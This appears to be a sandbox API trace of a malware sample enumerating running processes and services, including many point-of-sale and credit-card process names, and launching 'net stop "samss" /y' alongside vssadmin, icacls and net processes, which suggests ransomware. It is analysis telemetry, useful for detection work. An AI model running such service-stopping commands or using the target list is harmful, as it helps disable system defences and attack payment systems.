	[0260.268] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0260.271] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0260.273] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0260.275] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0260.277] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0260.280] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0260.282] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0260.284] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0260.287] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0260.289] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0260.292] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0260.294] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0260.296] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0260.299] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0260.429] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0260.443] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0260.446] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0260.449] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0260.451] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0260.454] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0260.456] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0260.459] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0260.462] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0260.464] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0260.467] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0260.469] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0260.472] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xae, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0260.662] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xce, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0260.664] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0260.667] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0260.669] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0260.671] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0260.673] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0260.677] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0260.679] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0260.682] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0260.684] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0260.686] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0260.688] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.690] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0260.859] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0260.861] Process32NextW (in: hSnapshot=0x85c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0260.862] CloseHandle (hObject=0x85c) returned 1
	[0260.862] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x272240
	[0260.863] EnumServicesStatusW (in: hSCManager=0x272240, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 0
	[0260.864] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x27f0000
	[0260.865] EnumServicesStatusW (in: hSCManager=0x272240, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x27f0000, cbBufSize=0x17b5, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x27f0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 1
	[0260.866] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0261.472] Sleep (dwMilliseconds=0x96) 
	[0261.916] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.917] Sleep (dwMilliseconds=0xc350) 
	[0275.481] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xa1c
	[0275.790] Process32FirstW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0275.792] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0275.794] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0275.796] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0275.798] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0275.800] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0275.802] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0275.804] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0275.806] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0275.809] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0275.811] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.813] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.815] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.817] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.819] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.821] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.030] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.031] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0276.033] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0276.034] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0276.035] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0276.037] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.038] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.039] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0276.041] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.043] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0276.044] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0276.045] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0276.046] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0276.048] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0276.050] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0276.052] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0276.054] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0276.056] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0276.058] Process32NextW (in: hSnapshot=0xa1c, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
